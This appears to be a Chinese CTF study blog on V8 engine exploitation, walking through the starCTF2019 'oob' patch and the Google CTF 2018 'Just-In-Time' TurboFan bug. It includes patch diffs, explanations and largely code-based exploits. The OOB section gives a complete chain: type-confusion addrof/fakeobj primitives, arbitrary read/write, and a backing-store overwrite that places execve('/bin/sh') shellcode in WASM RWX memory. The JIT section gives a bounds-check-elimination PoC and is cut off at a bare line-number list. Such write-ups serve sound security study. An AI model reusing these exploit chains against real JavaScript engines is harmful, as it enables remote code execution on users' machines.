V8 Pwn的学习

之前一直以为V8 Pwn是很高深莫测的东西,学了之后发现和PHP Pwn差不多,基本都是通过出题人自己定义的方法上的漏洞进行利用,php pwn是so的拓展,V8是diff文件。当然还有一些直接用CVE出题的

V8基础

环境搭建和动态调试网上有很多写的很详细,这里就不详细讲了,主要注意一下js 的object的结构体就行

img

做题时一般出题人会给diff文件和对应的V8版本,退回到之前的版本加上diff文件构建就行

1
2
3
4
5
6
7
8
git reset --hard id
gclient sync
git apply < patch.diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

下面记录一下自己刷的V8题

starCTF2019-OOB

1
2
3
4
5
6
7
8
9
fetch v8
cd v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply < oob.diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:


diff文件定义了一个oob方法,漏洞点在将数组元素和数组长度混淆了,导致会溢出1的元素,有点像off by one

oob()无参数时会返回elements[length]的值,带参数时会将参数写入elements[length]

通过调试可以发现float类型和obj类型的数组他们的elements是挨着他们的map的,所以刚好可以泄露map和往map里写数据,这里就可以构造一个类型混淆,通过混淆float类型的数组为obj可以在任意地址伪造一个fake_obj,将obj类型的数组混淆为float可以泄露obj数组储存的对象的地址,那么这样就可以通过自己伪造一个数组然后控制element进行任意地址读写了,最后通过改ArrayBuffer的backing_store的地址 在WasmInstance开辟的rwx内存写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8)
this.f64 = new Float64Array(this.buf)
this.f32 = new Float32Array(this.buf)
this.u32 = new Uint32Array(this.buf)
this.u64 = new BigUint64Array(this.buf)
this.i64 = new BigInt64Array(this.buf)

this.state = {}
this.i = 0
}



p(arg) {
%DebugPrint(arg)
}

debug(arg) {
%DebugPrint(arg)
%SystemBreak()
}

stop() {
%SystemBreak()
}



// float64 → uint64
f64toi64(f) {
this.f64[0] = f
return this.u64[0]
}

// uint64 → float64
i64tof64(i) {
this.u64[0] = i
return this.f64[0]
}

// float64 → int64
f64toi64signed(f) {
this.f64[0] = f
return this.i64[0]
}

// int64 → float64
i64tof64signed(i) {
this.i64[0] = i
return this.f64[0]
}

// float64 → low 32-bit
f64toi32lo(f) {
this.f64[0] = f
return this.u32[0]
}

// float64 → high 32-bit
f64toi32hi(f) {
this.f64[0] = f
return this.u32[1]
}

// two 32-bit → float64
i32pairtof64(lo, hi) {
this.u32[0] = lo >>> 0
this.u32[1] = hi >>> 0
return this.f64[0]
}

// int64 → low 32-bit
i64to32lo(i) {
this.i64[0] = i
return this.u32[0]
}

// int64 → high 32-bit
i64to32hi(i) {
this.i64[0] = i
return this.u32[1]
}

// float32 → int32
f32toi32(f) {
this.f32[0] = f
return this.u32[0]
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i
return this.f32[0]
}



hex32(i) {
return i.toString(16).padStart(8, "0")
}

hex64(i) {
return i.toString(16).padStart(16, "0")
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`)
}

printhex(val) {
console.log("0x" + val.toString(16))
}

/* ------------------ GC / state ------------------ */

add_ref(obj) {
this.state[this.i++] = obj
}

gc() {
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
}
}


let helper = new Helpers()



let obj = {}
let obj_list = [obj];
let float_list = [4.3];

let obj_list_map = obj_list.oob()
let float_list_map = float_list.oob()

function get_addr(obj){
obj_list[0] = obj
obj_list.oob(float_list_map)
let res = helper.f64toi64(obj_list[0]) - 1n
obj_list.oob(obj_list_map)
return res
}

function get_obj(addr){
float_list[0] = helper.i64tof64(addr | 1n)
float_list.oob(obj_list_map)
let res = float_list[0]
float_list.oob(float_list_map)
return res
}

let evil_float_array = [
float_list_map, //map
helper.i64tof64(0n), //properties
helper.i64tof64(0xdeadbeefn), //elements*
helper.i64tof64((0x80n << 32n) | 0n), //lenth
helper.i64tof64(0xdeadbeefn),
helper.i64tof64(0xdeadbeefn),
]

let evil_float_array_addr = get_addr(evil_float_array)
let evil_float_array_elements_addr = evil_float_array_addr + 0x30n
let fake_obj = get_obj(evil_float_array_elements_addr)


function arb_write(addr,data){
evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n) //set fake_obj elements*
fake_obj[0] = helper.i64tof64(data)
}

function arb_read(addr) {
evil_float_array[2] = helper.i64tof64((addr - 0x10n) | 1n) //set fake_obj elements*
return helper.f64toi64(fake_obj[0])
}

let data_buf = new ArrayBuffer(0x1000)
let data_view = new DataView(data_buf)
let backing_store_addr = get_addr(data_buf) + 0x20n

let wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,
1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128,
128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105,
110, 0, 0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253, 182, 245, 125,
11,
])
let wasm_module = new WebAssembly.Module(wasm_code)
let wasm_instance = new WebAssembly.Instance(wasm_module)
let shell = wasm_instance.exports.main
let wasm_instance_addr = get_addr(wasm_instance)
let rwx_addr = arb_read(wasm_instance_addr + 0x88n)

let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

arb_write(backing_store_addr,rwx_addr)

for (let i = 0; i < shellcode.length; i++) {
data_view.setBigInt64(i * 8, shellcode[i], true)
}

shell()

Google CTF 2018 Just-In-Time

这是一道关于Turbon Fan优化的漏洞利用

环境搭建

1
2
3
4
5
git reset --hard e0a58f83255d1dae907e2ba4564ad8928a7dedf4
gclient sync
git apply < ./diff
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

下面是patch文件,如果报错可能是windows复制的,换行符转成linux的就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);

漏洞原因

patch在turboFan中的TypedLoweringPhase阶段添加了一种优化方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Reduction DuplicateAdditionReducer::Reduce(Node* node) {
switch (node->opcode()) {
case IrOpcode::kNumberAdd:
return ReduceAddition(node);
default:
return NoChange();
}
}

Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);

Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange();
}

Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}

Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange();
}

double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);

return Changed(node);
}

这种优化把x+1+1优化成了x+2,看似不影响,但计算机不是数学,他们的底层不一样

1
2
3
4
x+1+1应该是
tmp = x+1
tmp + 1
x+2直接就是x+2

而根据浮点数的IEEE764标准 当一个浮点数越来越大时,有限的空间只能保留高位的数据,因此一旦浮点数的值超过某个界限时,低位数值将被舍弃,此时数值不能全部表示,存在精度丢失,下面拿python的来举例

image-20251204044422366

可以看到x+2可以被表示,但x+1不能被表示出来,而checkBounds检测数组越界会在TurboFan的SimplifiedLoweringPhase阶段根据索引和数组的范围被优化,如果索引最大值小于lenth的最小值checkBounds检测将会被优化掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// Dispatching routine for visiting the node {node} with the usage {use}.
// Depending on the operator, propagate new usage info to the inputs.
void VisitNode(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
// Unconditionally eliminate unused pure nodes (only relevant if there's
// a pure operation in between two effectful ones, where the last one
// is unused).
// Note: We must not do this for constants, as they are cached and we
// would thus kill the cached {node} during lowering (i.e. replace all
// uses with Dead), but at that point some node lowering might have
// already taken the constant {node} from the cache (while it was in
// a sane state still) and we would afterwards replace that use with
// Dead as well.
if (node->op()->ValueInputCount() > 0 &&
node->op()->HasProperty(Operator::kPure)) {
if (truncation.IsUnused()) return VisitUnused(node);
}
switch (node->opcode()) {
// ...
case IrOpcode::kCheckBounds: {
const CheckParameters& p = CheckParametersOf(node->op());
Type index_type = TypeOf(node->InputAt(0));
Type length_type = TypeOf(node->InputAt(1));
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower() && lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison) {
// 可以看到,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min())) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// CheckBound将会被优化
DeferReplacement(node, node->InputAt(0));
}
}
} else {
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return;
}
// ....
}
// ...
}

下面用一个poc来演示一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function f(x)
{
const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
let t = (x == 1 ? 9007199254740992 : 9007199254740989);

t = t + 1 + 1;
/* t =>
Range(9007199254740991, 9007199254740992)
but Range(9007199254740991, 9007199254740994)
*/
t -= 9007199254740989;
/* t =>
Range(2, 3)
but Range(2, 5)
*/
return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

image-20251204045753268

可以看到第一次未被优化时访问的实际时arr[3],强制优化后因为TurboFan认为t最大值是3 Range(2, 3),小于arr的最小值Range(5,5)

所以将checkBounds去掉了,然而patch在SimplifiedLoweringPhase阶段加的优化实际会将t变成5,也就造成了数组越界

可以看到checkBounds在SimplifiedLoweringPhase阶段被优化掉了

image-20251204050741195

优化掉之前

image-20251204050912649

优化掉之后

具体利用

数组越界感觉可以像上一题那样直接打,但是实际调试下来有%DebugPrint的时候double array obj array的elements确实和map是紧贴的,但是不用%DebugPrint的时候他们之间并不相邻,貌似是%DebugPrint扰乱了内存布局,感觉挺玄学的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8)
this.f64 = new Float64Array(this.buf)
this.f32 = new Float32Array(this.buf)
this.u32 = new Uint32Array(this.buf)
this.u64 = new BigUint64Array(this.buf)
this.i64 = new BigInt64Array(this.buf)

this.state = {}
this.i = 0
}

/* ------------------ Debug Helpers ------------------ */

p(arg) {
%DebugPrint(arg)
}

debug(arg) {
%DebugPrint(arg)
%SystemBreak()
}

stop() {
%SystemBreak()
}

/* ------------------ Float <-> Int conversions ------------------ */

// float64 → uint64
f64toi64(f) {
this.f64[0] = f
return this.u64[0]
}

// uint64 → float64
i64tof64(i) {
this.u64[0] = i
return this.f64[0]
}

// float64 → int64
f64toi64signed(f) {
this.f64[0] = f
return this.i64[0]
}

// int64 → float64
i64tof64signed(i) {
this.i64[0] = i
return this.f64[0]
}

// float64 → low 32-bit
f64toi32lo(f) {
this.f64[0] = f
return this.u32[0]
}

// float64 → high 32-bit
f64toi32hi(f) {
this.f64[0] = f
return this.u32[1]
}

// two 32-bit → float64
i32pairtof64(lo, hi) {
this.u32[0] = lo >>> 0
this.u32[1] = hi >>> 0
return this.f64[0]
}

// int64 → low 32-bit
i64to32lo(i) {
this.i64[0] = i
return this.u32[0]
}

// int64 → high 32-bit
i64to32hi(i) {
this.i64[0] = i
return this.u32[1]
}

// float32 → int32
f32toi32(f) {
this.f32[0] = f
return this.u32[0]
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i
return this.f32[0]
}

/* ------------------ Logging helpers ------------------ */

hex32(i) {
return i.toString(16).padStart(8, "0")
}

hex64(i) {
return i.toString(16).padStart(16, "0")
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`)
}

printhex(val) {
console.log("0x" + val.toString(16))
}

/* ------------------ GC / state ------------------ */

add_ref(obj) {
this.state[this.i++] = obj
}

gc() {
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
}
}

helpers = new Helpers()

function f(a) {
let double_arr = [0.0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8];
let obj_arr = [{}];
let x = a == 0 ? 9007199254740989 : 9007199254740992;
let y = x + 1 + 1;
let z = y - 9007199254740991; // Range(0,1) but Range(0,3)
if (a != 0) {
%DebugPrint(double_arr);
%DebugPrint(obj_arr);
}
}

for (let i = 0; i < 0x10000; i++)
f(0);

f(1);
helpers.stop();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8)
this.f64 = new Float64Array(this.buf)
this.f32 = new Float32Array(this.buf)
this.u32 = new Uint32Array(this.buf)
this.u64 = new BigUint64Array(this.buf)
this.i64 = new BigInt64Array(this.buf)

this.state = {}
this.i = 0
}

/* ------------------ Debug Helpers ------------------ */

p(arg) {
%DebugPrint(arg)
}

debug(arg) {
%DebugPrint(arg)
%SystemBreak()
}

stop() {
%SystemBreak()
}

/* ------------------ Float <-> Int conversions ------------------ */

// float64 → uint64
f64toi64(f) {
this.f64[0] = f
return this.u64[0]
}

// uint64 → float64
i64tof64(i) {
this.u64[0] = i
return this.f64[0]
}

// float64 → int64
f64toi64signed(f) {
this.f64[0] = f
return this.i64[0]
}

// int64 → float64
i64tof64signed(i) {
this.i64[0] = i
return this.f64[0]
}

// float64 → low 32-bit
f64toi32lo(f) {
this.f64[0] = f
return this.u32[0]
}

// float64 → high 32-bit
f64toi32hi(f) {
this.f64[0] = f
return this.u32[1]
}

// two 32-bit → float64
i32pairtof64(lo, hi) {
this.u32[0] = lo >>> 0
this.u32[1] = hi >>> 0
return this.f64[0]
}

// int64 → low 32-bit
i64to32lo(i) {
this.i64[0] = i
return this.u32[0]
}

// int64 → high 32-bit
i64to32hi(i) {
this.i64[0] = i
return this.u32[1]
}

// float32 → int32
f32toi32(f) {
this.f32[0] = f
return this.u32[0]
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i
return this.f32[0]
}

/* ------------------ Logging helpers ------------------ */

hex32(i) {
return i.toString(16).padStart(8, "0")
}

hex64(i) {
return i.toString(16).padStart(16, "0")
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`)
}

printhex(val) {
console.log("0x" + val.toString(16))
}

/* ------------------ GC / state ------------------ */

add_ref(obj) {
this.state[this.i++] = obj
}

gc() {
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
new ArrayBuffer(0x7fe00000)
}
}

helpers = new Helpers()

function f(x)
{
const float_array = [1.1, 2.2, 3.3, 4.4, 5.5];
let t = (x == 1 ? 9007199254740992 : 9007199254740989);
t = t + 1 + 1;
t -= 9007199254740989;
//if(x == 1){
// %DebugPrint(float_array);
//}
return float_array[t];
}

console.log(f(1));
for (let i = 0; i < 100000000; i++)
f(0);
float_map = helpers.f64toi64(f(1));
helpers.printhex(float_map);
console.log(f(1));

image-20251204051408805

0xdeadbeedbeadbeef肯定不是map,不过测试下来不过 double_arr 的 elements 始终在 obj_arr 的 elements 前面

那么可以通过越界double_arr读出obj_arr的elements,或者通过越界double_arr往obj_arr写一个地址然后通过obj_arr[idx]通过地址伪造出一个对象,也就是实现了addressOf和fakeObject,然后具体越界多少测的时候不能用%DebugPrint直接看elements,因为和实际利用的偏移不一样可以通过%DisassembleFunction(f)获得函数地址然后在在f函数加上一段对elements的操作(也就是访问数组元素),在gdb中断点调试可以根据数组访问元素的相关汇编确定elements的地址然后算出偏移,实际算出是double_arr的idx为18时可以越界到obj_arr[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
